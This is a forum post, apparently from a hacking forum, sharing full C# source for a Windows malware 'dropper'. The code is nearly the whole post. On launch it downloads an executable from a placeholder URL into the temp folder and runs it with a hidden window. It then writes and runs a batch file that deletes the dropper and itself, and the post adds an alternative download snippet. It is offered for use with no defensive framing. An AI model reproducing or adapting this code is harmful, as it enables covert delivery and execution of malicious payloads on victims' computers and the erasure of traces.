Jump to content
Technetium

Dropper .NET 2.0 C#

Recommended Posts

using System;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.Windows.Forms;

namespace downloader
{
   public partial class Form1 : Form
   {
       public Form1()
       {
           InitializeComponent();
       }

       public void Download(string url)
       {
           WebClient me = new WebClient();
           me.DownloadFile(url, Path.GetTempPath()+ "\\bInarY.exe");
       }

       public void Run(string path, string app, string agr)
       {
           Process proc = new Process();
           proc.StartInfo.WorkingDirectory = path;
           proc.StartInfo.FileName = app;
           proc.StartInfo.Arguments = agr;
           proc.StartInfo.CreateNoWindow = false;
           proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
           proc.Start();
       }

       public void Delete()
       {
           string[] lines = { "@echo off", "TIMEOUT /T 2", "del " + Application.ExecutablePath, "del " + Path.GetTempPath() + "\\d1l.bat" };
           File.WriteAllLines(Path.GetTempPath() + "\\d1l.bat", lines);
           Run(Path.GetTempPath()+"\\", "d1l.bat", "");
       }

       private void Form1_Load(object sender, EventArgs e)
       {
           Download("LINK");
           Run(Path.GetTempPath()+"\\", "bInarY.exe", "");
           Delete();
           Application.Exit();
       }
   }
}

 

replace:

using (var client = new WebClient ()) 

var data = client.DownloadData (url); 
File.WriteAllBytes (Path.GetTempPath () + "binary.exe", data); 
}

Edited by Technetium
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...